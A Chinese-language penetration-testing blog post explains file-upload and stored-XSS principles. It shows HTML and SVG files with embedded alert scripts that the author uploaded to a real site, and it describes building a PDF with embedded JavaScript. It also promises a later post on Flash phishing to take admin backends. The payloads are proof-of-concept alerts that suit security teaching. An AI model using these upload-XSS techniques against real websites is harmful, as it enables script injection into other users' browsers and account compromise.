0x1 前言
这个站点也是最近碰到的,这个上传的功能点可以上传很多种类型的文件,打一个XSS漏洞。然后最近在高Flash钓鱼网站
的打法,于是就出一篇上传多种类型文件打XSS漏洞
的文章,后面再给师傅们出一篇利用Flash钓鱼拿管理员后台的文章。希望大家一起交流交流。
0x2 漏洞简介
文件上传漏洞原理
在平时工作中,总是会接触过很多文件上传的功能,因为用惯了各种操作库来处理,所以总有一种云里雾里的感觉,没有清晰的思路,归根到底还是没有理解文件上传的原理。接下来将揭起工具库的面纱,看看文件上传到底是怎么一回事,深入了解文件上传的本质。
这里利用form表单标签
和类型为file的Input标签来完成上传,要将表单数据编码格式置为 multipart/form-data 类型
,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="请选择文件"><br />
<input type="submit">
</form>
XSS原理
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通常会在网页中插入恶意的 JavaScript代码。由于服务器对输入数据的过滤和验证不严格,这些恶意的 JavaScript代码
会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时,它会执行这些恶意的JavaScript代码
,从而导致攻击者能够执行恶意操作。

0x3 上传多种文件类型打XSS
html、svg文件上传打XSS漏洞
师傅们可以看到找到下面的这个站点的这个功能存在文件上传,我先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功,基本上都可以打一个存储型XSS漏洞了

html恶意弹窗代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>alert('618')</script>
</head>
<body>
</body>
</html>
上传成功,可以看到我这里上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

可以看到我这里换个浏览器访问,也是成功执行XSS弹窗了的

上传svg恶意文件也是一样的

svg恶意弹窗代码如下:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(618);
</script>
</svg>
也是一样换个浏览器访问,照样是可以成功执行弹窗的

制作pdf弹窗木马
pdf编辑器下载地址如下:
https://www.xunjiepdf.com/

直接打开然后新建空白页面,然后点击属性,然后点击右边的小点点

然后出现下面的选项框,点击新增js代码

写入app.alert(618);
js代码,然后保存到本地

然后也是按照上面的一样步骤,也是可以打出一个存储型XSS漏洞

0x4 总结
这篇文章主要是给师傅们分享下文件上传和存储型XSS漏洞的一个组合拳,然后给师傅们演示了一个实战案例,通过多种不一样的文件类型上传然后打一个XSS漏洞,并都成功弹窗,后面给师傅们演示了pdf木马的生成过程。希望对师傅们有帮助哈!
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!